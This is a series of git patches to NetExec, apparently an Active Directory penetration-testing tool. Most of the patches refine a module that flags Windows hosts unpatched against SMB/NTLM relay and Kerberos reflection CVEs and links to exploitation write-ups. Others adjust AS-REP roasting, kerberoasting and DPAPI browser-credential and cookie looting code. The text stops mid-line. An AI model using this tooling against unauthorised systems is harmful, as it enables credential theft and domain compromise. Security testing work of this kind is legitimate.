a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index ac597fde4b..7f08c1feb2 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -114,7 +114,7 @@ def on_login(self, context, connection): (10, 0, 19044): 5965, # Windows 10 21H2 (10, 0, 22621): 5472, # Windows 11 22H2 }, - "message": "can relay SMB to any protocol", + "message": "Relay possible from SMB to any protocol", "signing_message": "can relay SMB to other protocols except SMB", }, # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726 @@ -131,8 +131,8 @@ def on_login(self, context, connection): (10, 0, 19044): 6456, # Windows 10 21H2 (10, 0, 22621): 6060, # Windows 11 22H2 }, - "message": "can relay SMB using Ghost SPN for Kerberos reflection", - "signing_message": "can relay SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB", + "message": "Relay possible from SMB using Ghost SPN for Kerberos reflection", + "signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB", }, # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918 @@ -152,7 +152,7 @@ def on_login(self, context, connection): (10, 0, 22631): 5909, # Windows 11 23H2 (10, 0, 26100): 6584, # Windows Server 2025 }, - "message": "can relay SMB to other protocols except SMB", - "signing_message": "can relay SMB to any protocol (coercion works only via DCE/RPC over TCP — no named pipes)", + "message": "Relay possible from SMB to any protocol", + "signing_message": "Relay possible from SMB to other protocols except SMB (coercion works only via DCE/RPC over TCP — no named pipes)", } } From 9a7a302fd4b8de4eb90becb4adbb985ca481c348 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 04:23:36 -0400 Subject: [PATCH 051/165] Simplify logic --- nxc/modules/enum_cve.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 7f08c1feb2..29ddcd79ea 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -88,8 +88,7 @@ def on_login(self, context, connection): message = self.CVE_PATCHES[cve]["message"] signing_message = self.CVE_PATCHES[cve]["signing_message"] - vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]) - if vuln: + if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]): if connection.conn.isSigningRequired(): # Special conditional message for some CVEs context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {signing_message}") else: From 1e90eadef1a6ae95be25fff781450f71168b0005 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 04:23:57 -0400 Subject: [PATCH 052/165] Fix CVE UBRs --- nxc/modules/enum_cve.py | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 29ddcd79ea..7957d90c0c 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -107,11 +107,14 @@ def on_login(self, context, connection): (6, 1, 7601): 27769, # Windows Server 2008 R2 SP1 (6, 2, 9200): 25522, # Windows Server 2012 (6, 3, 9600): 22620, # Windows Server 2012 R2 - (10, 0, 14393): 8148, # Windows Server 2016 + (10, 0, 10240): 21034, # Windows 10 1507 + (10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607 (10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809 - (10, 0, 20348): 3807, # Windows Server 2022 (10, 0, 19044): 5965, # Windows 10 21H2 + (10, 0, 20348): 3807, # Windows Server 2022 (10, 0, 22621): 5472, # Windows 11 22H2 + (10, 0, 25398): 1665, # Windows Server 2022 23H2 + (10, 0, 26100): 4270, # Windows Server 2025 / Win11 24H2 }, "message": "Relay possible from SMB to any protocol", "signing_message": "can relay SMB to other protocols except SMB", @@ -120,15 +123,19 @@ def on_login(self, context, connection): "CVE-2025-58726": { "alias": "Ghost SPN", "patches": { - (6, 1, 7601): 23571, # Windows Server 2008 SP2 + (6, 0, 6003): 23571, # Windows Server 2008 SP2 (6, 1, 7601): 27974, # Windows Server 2008 R2 SP1 (6, 2, 9200): 25722, # Windows Server 2012 (6, 3, 9600): 22824, # Windows Server 2012 R2 - (10, 0, 14393): 8519, # Windows Server 2016 + (10, 0, 10240): 21161, # Windows 10 1507 + (10, 0, 14393): 8519, # Windows Server 2016 / Win10 1607 (10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809 - (10, 0, 20348): 4294, # Windows Server 2022 (10, 0, 19044): 6456, # Windows 10 21H2 + (10, 0, 20348): 4294, # Windows Server 2022 (10, 0, 22621): 6060, # Windows 11 22H2 + (10, 0, 25398): 1913, # Windows Server 2022 23H2 + (10, 0, 26100): 6899, # Windows Server 2025 / Win11 24H2 + (10, 0, 26200): 6899, # Windows 11 25H2 }, "message": "Relay possible from SMB using Ghost SPN for Kerberos reflection", "signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB", @@ -142,14 +149,14 @@ def on_login(self, context, connection): (6, 1, 7601): 27929, # Windows Server 2008 R2 SP1 (6, 2, 9200): 25675, # Windows Server 2012 (6, 3, 9600): 22774, # Windows Server 2012 R2 - (10, 0, 10240): 21128, # Windows 10 1507 + (10, 0, 10240): 21128, # Windows 10 1507 (10, 0, 14393): 8422, # Windows Server 2016 (10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809 (10, 0, 19044): 6332, # Windows 10 21H2 (10, 0, 20348): 4171, # Windows Server 2022 (10, 0, 22621): 5909, # Windows 11 22H2 (10, 0, 22631): 5909, # Windows 11 23H2 - (10, 0, 26100): 6584, # Windows Server 2025 + (10, 0, 26100): 6508, # Windows Server 2025 / Win11 24H2 }, "message": "Relay possible from SMB to any protocol", "signing_message": "Relay possible from SMB to other protocols except SMB (coercion works only via DCE/RPC over TCP — no named pipes)", From 627aeff92004c03a5b8be4ea54c6db409055acf1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 04:29:46 -0400 Subject: [PATCH 053/165] Prevent stacktrace when guest try access winreg --- nxc/modules/enum_cve.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 7957d90c0c..c28c2bf58c 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -1,5 +1,5 @@ from impacket.dcerpc.v5 import transport, rrp -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, DCERPCException from impacket.smbconnection import SessionError from nxc.helpers.misc import CATEGORY from impacket.nmb import NetBIOSError @@ -72,6 +72,9 @@ def on_login(self, context, connection): return else: context.log.debug(f"OS version from registry: {connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}") + except DCERPCException as e: + context.log.fail(f"DCERPC error: {e}") + return except SessionError as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): context.log.info(f"RemoteRegistry is probably deactivated: {e}") From 138f60607d7e31bfdbabb3bc2416ffad4352be2d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 05:11:29 -0400 Subject: [PATCH 054/165] Add UBR to debug output --- nxc/modules/enum_cve.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index c28c2bf58c..c78c2361d7 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -97,7 +97,7 @@ def on_login(self, context, connection): else: context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {message}") else: - context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})") + context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})") # patches: key = (major, minor, build), value = minimum patched UBR CVE_PATCHES = { From ffd615e171914241391754672f068adc16b67fd8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 05:17:03 -0400 Subject: [PATCH 055/165] Add exploitation source --- nxc/modules/enum_cve.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index c78c2361d7..9ddf50fb9e 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -123,6 +123,7 @@ def on_login(self, context, connection): "signing_message": "can relay SMB to other protocols except SMB", }, # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726 + # https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/ "CVE-2025-58726": { "alias": "Ghost SPN", "patches": { From 92e2b8fc08cac7fb81a3f83b96480f607aeb82da Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 05:52:08 -0400 Subject: [PATCH 056/165] Add exploitation source --- nxc/modules/enum_cve.py | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 9ddf50fb9e..7c73e63465 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -19,6 +19,7 @@ def __init__(self, context=None, module_options=None): context = context self.module_options = module_options self.cve = "all" + self.exploitation_details = False def options(self, context, module_options): """ @@ -31,11 +32,14 @@ def options(self, context, module_options): - CVE-2025-58726 (Ghost SPN) - CVE-2025-54918 (NTLM MIC Bypass) - CVE Filter for specific CVE number (default: All) + CVE Filter for specific CVE number (default: All) + EXPLOITATION Also provide sources for exploitation details (default: False) """ self.listener = None if "CVE" in module_options: self.cve = module_options["CVE"].lower() + if "EXPLOITATION" in module_options: + self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"] def is_vulnerable(self, major, minor, build, ubr, msrc): key = (major, minor, build) @@ -88,21 +92,19 @@ def on_login(self, context, connection): # Check each CVE for cve in self.CVE_PATCHES: if self.cve == "all" or self.cve.lower() == cve.lower(): - message = self.CVE_PATCHES[cve]["message"] - signing_message = self.CVE_PATCHES[cve]["signing_message"] - if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]): - if connection.conn.isSigningRequired(): # Special conditional message for some CVEs - context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {signing_message}") + if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs + context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}") else: - context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {message}") + context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['message']}") + if self.exploitation_details: + context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}") else: context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})") # patches: key = (major, minor, build), value = minimum patched UBR CVE_PATCHES = { # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073 - # https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 "CVE-2025-33073": { "alias": "NTLM reflection", "patches": { @@ -121,9 +123,9 @@ def on_login(self, context, connection): }, "message": "Relay possible from SMB to any protocol", "signing_message": "can relay SMB to other protocols except SMB", + "exploitation": "https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025", }, # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726 - # https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/ "CVE-2025-58726": { "alias": "Ghost SPN", "patches": { @@ -143,9 +145,11 @@ def on_login(self, context, connection): }, "message": "Relay possible from SMB using Ghost SPN for Kerberos reflection", "signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB", + "exploitation": "https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/", }, # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918 + # https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/ "CVE-2025-54918": { "alias": "NTLM MIC Bypass", "patches": { @@ -162,7 +166,7 @@ def on_login(self, context, connection): (10, 0, 22631): 5909, # Windows 11 23H2 (10, 0, 26100): 6508, # Windows Server 2025 / Win11 24H2 }, - "message": "Relay possible from SMB to any protocol", - "signing_message": "Relay possible from SMB to other protocols except SMB (coercion works only via DCE/RPC over TCP — no named pipes)", + "message": "Note that without CVE-2025-33073 only Windows Server 2025 is exploitable", + "exploitation": "https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1", } } From 82b1336023a559f7e363612fb504ac9293515517 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 06:18:04 -0400 Subject: [PATCH 057/165] Remove deprecated open call --- nxc/modules/get-network.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index 6a753eda2f..a12b125662 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -154,7 +154,7 @@ def on_login(self, context, connection): context.log.highlight(f"Found {len(outdata)} records") path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log") - with codecs.open(path, "w", "utf-8") as outfile: + with open(path, "w") as outfile: for row in outdata: if self.showhosts: outfile.write(f"{row['name'] + '.' + zone}\n") From 3c4e387045cfac86f6ce378240a10bcfd4c8d6b7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 06:22:00 -0400 Subject: [PATCH 058/165] Remove unused imports --- nxc/modules/get-network.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index a12b125662..d9931131c9 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -2,7 +2,6 @@ # Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan # module by @mpgn_x64 import re -import codecs import socket from datetime import datetime from struct import unpack From 087ee8bf5ba3c6ad8426eba940b51072e8b82376 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 07:45:25 -0400 Subject: [PATCH 059/165] Don't display the index error when guest auth is active --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 34f2c84f07..b07ed752d9 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1386,7 +1386,7 @@ def shares(self): self.logger.debug(f"domain: {self.domain}") user_id = self.db.get_user(self.domain.upper(), self.username)[0][0] except IndexError as e: - if self.kerberos or self.username == "": + if self.kerberos or self.username == "" or self.is_guest: pass else: self.logger.fail(f"IndexError: {e!s}") From c015d2c6434e1aab2ee5de47cee7b0a6d797d148 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 12 Mar 2026 09:56:56 -0400 Subject: [PATCH 060/165] There are users with empty passwords --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index b07ed752d9..0d79c2192b 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -456,7 +456,7 @@ def plaintext_login(self, domain, username, password): if "Unix" not in self.server_os: self.check_if_admin() - if not self.is_guest and (self.username and self.password): + if not self.is_guest and self.username: self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) user_id = self.db.get_credential("plaintext", domain, self.username, self.password) From 44a24f05763bade479f949d31c5a675aaaf37cb1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 13 Mar 2026 07:03:04 -0400 Subject: [PATCH 061/165] Catch KDC_ERR_ETYPE_NOSUPP if there are no etypes left to request --- nxc/protocols/ldap/kerberos.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index c754d80ec4..867cb3bf43 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -280,7 +280,12 @@ def get_tgt_asroast(self, userName, requestPAC=True): ) seq_set_iter(req_body, "etype", supported_ciphers) message = encoder.encode(as_req) - r = sendReceive(message, domain, self.kdcHost) + try: + r = sendReceive(message, domain, self.kdcHost) + except KerberosError as e: + self.logger.fail(e) + self.logger.debug(traceback.format_exc()) + return None elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value: return f"Password of user {userName} expired but user doesn't require pre-auth" else: From 845f8d9f336697c24aeefe6f901b2c454061fb8a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 13 Mar 2026 07:03:34 -0400 Subject: [PATCH 062/165] Use connection logger instead of universal logger --- nxc/protocols/ldap/kerberos.py | 36 +++++++++++++++++----------------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index 867cb3bf43..d5f4752074 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -20,8 +20,6 @@ from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue -from nxc.logger import nxc_logger - class KerberosAttacks: def __init__(self, connection): @@ -37,6 +35,8 @@ def __init__(self, connection): self.kdcHost = connection.kdcHost self.kerberos = connection.kerberos + self.logger = connection.logger + if self.hash is not None: if self.hash.find(":") != -1: self.lmhash, self.nthash = self.hash.split(":") @@ -76,7 +76,7 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None, account = f"host{username.rstrip('$').lower()}.{str(realm).lower()}" else: if username.endswith("$"): - nxc_logger.fail("Account ends with $, but is_computer is False. TGS output is likely to be incorrect.") + self.logger.fail("Account ends with $, but is_computer is False. TGS output is likely to be incorrect.") account = username if etype in (constants.EncryptionTypes.rc4_hmac.value, constants.EncryptionTypes.des_cbc_md5.value): @@ -88,7 +88,7 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None, data = hexlify(cipher[:-12]).decode() entry = f"$krb5tgs${etype}${account}${realm}$*{spn_fmt}*${chk}${data}" else: - nxc_logger.fail(f"Skipping {decoded_tgs['ticket']['sname']['name-string'][0]}/{decoded_tgs['ticket']['sname']['name-string'][1]} due to incompatible e-type {decoded_tgs['ticket']['enc-part']['etype']:d}") + self.logger.fail(f"Skipping {decoded_tgs['ticket']['sname']['name-string'][0]}/{decoded_tgs['ticket']['sname']['name-string'][1]} due to incompatible e-type {decoded_tgs['ticket']['enc-part']['etype']:d}") return entry @@ -126,24 +126,24 @@ def output_tgs_from_asrep(self, asrep_blob, spn, fd=None): def get_tgt_kerberoasting(self, kcache=None): if kcache: if getenv("KRB5CCNAME"): - nxc_logger.debug("KRB5CCNAME environment variable exists, attempting to use that...") + self.logger.debug("KRB5CCNAME environment variable exists, attempting to use that...") try: ccache = CCache.loadFile(getenv("KRB5CCNAME")) # retrieve user and domain information from CCache file if needed domain = ccache.principal.realm["data"] if self.domain == "" else self.domain - nxc_logger.debug(f"Using Kerberos Cache: {getenv('KRB5CCNAME')}") + self.logger.debug(f"Using Kerberos Cache: {getenv('KRB5CCNAME')}") principal = f"krbtgt/{domain.upper()}@{domain.upper()}" creds = ccache.getCredential(principal) if creds is not None: tgt = creds.toTGT() - nxc_logger.debug("Using TGT from cache") + self.logger.debug("Using TGT from cache") return tgt else: - nxc_logger.debug("No valid credentials found in cache") + self.logger.debug("No valid credentials found in cache") except Exception: pass else: - nxc_logger.fail("KRB5CCNAME environment variable not found, unable to use Kerberos Cache") + self.logger.fail("KRB5CCNAME environment variable not found, unable to use Kerberos Cache") # No TGT in cache, request it user_name = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) @@ -165,12 +165,12 @@ def get_tgt_kerberoasting(self, kcache=None): ) except OSError as e: if e.errno == 113: - nxc_logger.fail(f"Unable to resolve KDC hostname: {e!s}") + self.logger.fail(f"Unable to resolve KDC hostname: {e!s}") else: - nxc_logger.fail(f"Some other OSError occured: {e!s}") + self.logger.fail(f"Some other OSError occured: {e!s}") return None except Exception as e: - nxc_logger.debug(f"TGT: {e!s}") + self.logger.debug(f"TGT: {e!s}") tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( user_name, self.password, @@ -194,7 +194,7 @@ def get_tgt_kerberoasting(self, kcache=None): tgt_data["KDC_REP"] = tgt tgt_data["cipher"] = cipher tgt_data["sessionKey"] = sessionKey - nxc_logger.debug(f"Final TGT: {tgt_data}") + self.logger.debug(f"Final TGT: {tgt_data}") return tgt_data def get_tgs_no_preauth(self, no_preauth_user, spn): @@ -214,7 +214,7 @@ def get_tgs_no_preauth(self, no_preauth_user, spn): kerberoast_no_preauth=True ) except Exception as e: - nxc_logger.debug(f"Unable to retrieve the ticket for {spn} via {no_preauth_user}: {e}") + self.logger.debug(f"Unable to retrieve the ticket for {spn} via {no_preauth_user}: {e}") return None return self.output_tgs_from_asrep(ticket, spn) @@ -249,7 +249,7 @@ def get_tgt_asroast(self, userName, requestPAC=True): seq_set(req_body, "cname", client_name.components_to_asn1) if domain == "": - nxc_logger.error("Empty Domain not allowed in Kerberos") + self.logger.error("Empty Domain not allowed in Kerberos") return None req_body["realm"] = domain @@ -289,8 +289,8 @@ def get_tgt_asroast(self, userName, requestPAC=True): elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value: return f"Password of user {userName} expired but user doesn't require pre-auth" else: - nxc_logger.fail(e) - nxc_logger.debug(traceback.format_exc()) + self.logger.fail(e) + self.logger.debug(traceback.format_exc()) return None # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the @@ -302,7 +302,7 @@ def get_tgt_asroast(self, userName, requestPAC=True): as_rep = decoder.decode(r, asn1Spec=AS_REP())[0] else: # The user doesn't have UF_DONT_REQUIRE_PREAUTH set - nxc_logger.debug(f"User {userName} doesn't have UF_DONT_REQUIRE_PREAUTH set") + self.logger.debug(f"User {userName} doesn't have UF_DONT_REQUIRE_PREAUTH set") return None # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. From d5ff66b3966eeaa67e11033dfe8cf1928f1f7b68 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Fri, 13 Mar 2026 16:40:10 +0100 Subject: [PATCH 063/165] add BadSuccessor and dc_only flag --- nxc/modules/enum_cve.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 7c73e63465..0cd007d0cf 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -31,6 +31,7 @@ def options(self, context, module_options): - CVE-2025-33073 (NTLM Reflection) - CVE-2025-58726 (Ghost SPN) - CVE-2025-54918 (NTLM MIC Bypass) + - CVE-2025-53779 (BadSuccessor) CVE Filter for specific CVE number (default: All) EXPLOITATION Also provide sources for exploitation details (default: False) @@ -92,6 +93,9 @@ def on_login(self, context, connection): # Check each CVE for cve in self.CVE_PATCHES: if self.cve == "all" or self.cve.lower() == cve.lower(): + if self.CVE_PATCHES[cve].get("dc_only") and not connection.isdc: + context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers") + continue if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]): if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}") @@ -168,5 +172,15 @@ def on_login(self, context, connection): }, "message": "Note that without CVE-2025-33073 only Windows Server 2025 is exploitable", "exploitation": "https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1", + }, + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779 + "CVE-2025-53779": { + "alias": "BadSuccessor", + "dc_only": True, + "patches": { + (10, 0, 26100): 4851, # Windows Server 2025 / Win11 24H2 + }, + "message": "Escalation to Domain Admin possible via dMSA Kerberos abuse", + "exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory", } } From 25166e0c8df9fd55b9faa3249b3b3ba98f794b71 Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 13 Mar 2026 17:46:06 +0100 Subject: [PATCH 064/165] Add support for dploot 3.2.2 and google chrome +137 decryption --- nxc/protocols/smb.py | 13 ++++++++++++- pyproject.toml | 2 +- 2 files changed, 13 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0d79c2192b..71a887f8fa 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -63,6 +63,7 @@ from dploot.triage.vaults import VaultsTriage from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie from dploot.triage.credentials import CredentialsTriage +from dploot.triage.cng import CngTriage from dploot.lib.target import Target from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection @@ -2153,6 +2154,16 @@ def credential_callback(credential): dump_cookies = "cookies" in self.args.dpapi + cng_chromekey = None + try: + cng_triage = CngTriage(target=target, conn=conn, masterkeys=masterkeys) + for cng_file in cng_triage.triage_system_cng(): + if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1": + self.logger.debug("Found CNG Google ChromeKey1\n") + cng_chromekey = cng_file.decrypted_private_key + except Exception as e: + self.logger.debug(f"Error while getting CNG ChromeKey1: {e}") + # Collect Chrome Based Browser stored secrets def browser_callback(secret): if isinstance(secret, LoginData): @@ -2190,7 +2201,7 @@ def browser_callback(secret): try: browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback) - browser_triage.triage_browsers(gather_cookies=dump_cookies) + browser_triage.triage_browsers(gather_cookies=dump_cookies, cng_chromekey=cng_chromekey) except Exception as e: self.logger.debug(f"Error while looting browsers: {e}") diff --git a/pyproject.toml b/pyproject.toml index 170c0a5138..9f017eb5dd 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -22,7 +22,7 @@ dependencies = [ "asyauth>=0.0.20", "beautifulsoup4>=4.11,<5", "bloodhound-ce>=1.8.0", - "dploot>=3.1.0", + "dploot>=3.2.2", "dsinternals>=1.2.4", "jwt>=1.3.1", "lsassy>=3.1.11", From f55a234cbe910532d95964a2a02644134d4a4c31 Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 13 Mar 2026 18:16:59 +0100 Subject: [PATCH 065/165] update poetry lock --- poetry.lock | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/poetry.lock b/poetry.lock index 87f197cb62..802c76979f 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.2.1 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.3.2 and should not be changed by hand. [[package]] name = "aardwolf" @@ -734,14 +734,14 @@ wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" -version = "3.1.3" +version = "3.2.2" description = "DPAPI looting remotely in Python" optional = false -python-versions = "<4.0.0,>=3.10.0" +python-versions = "*" groups = ["main"] files = [ - {file = "dploot-3.1.3-py3-none-any.whl", hash = "sha256:ace3dda7e2a72f2111a9e18b6cf2d966bc1724ebe30689bd888b1944252b081d"}, - {file = "dploot-3.1.3.tar.gz", hash = "sha256:c42c389803fd094b5c4de410fffe3323405c4149936a2f61bd8499f45f64e2b7"}, + {file = "dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9"}, + {file = "dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8"}, ] [package.dependencies] @@ -2613,4 +2613,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "39d9bd04ec6221a5bdba0df32921513eb4cfc7aa3989e76ddce740509bf94f8e" +content-hash = "12809b0580043cb97ef2a2cb2309d24467986e178a3eea9d3cdfa012a3be487c" From 429764c592c53ad973d22d1818264e2dc064eb01 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 14 Mar 2026 11:09:26 -0400 Subject: [PATCH 066/165] Log as success and not full highlight --- nxc/modules/lsassy.py | 2 +- 1 file changed, 1 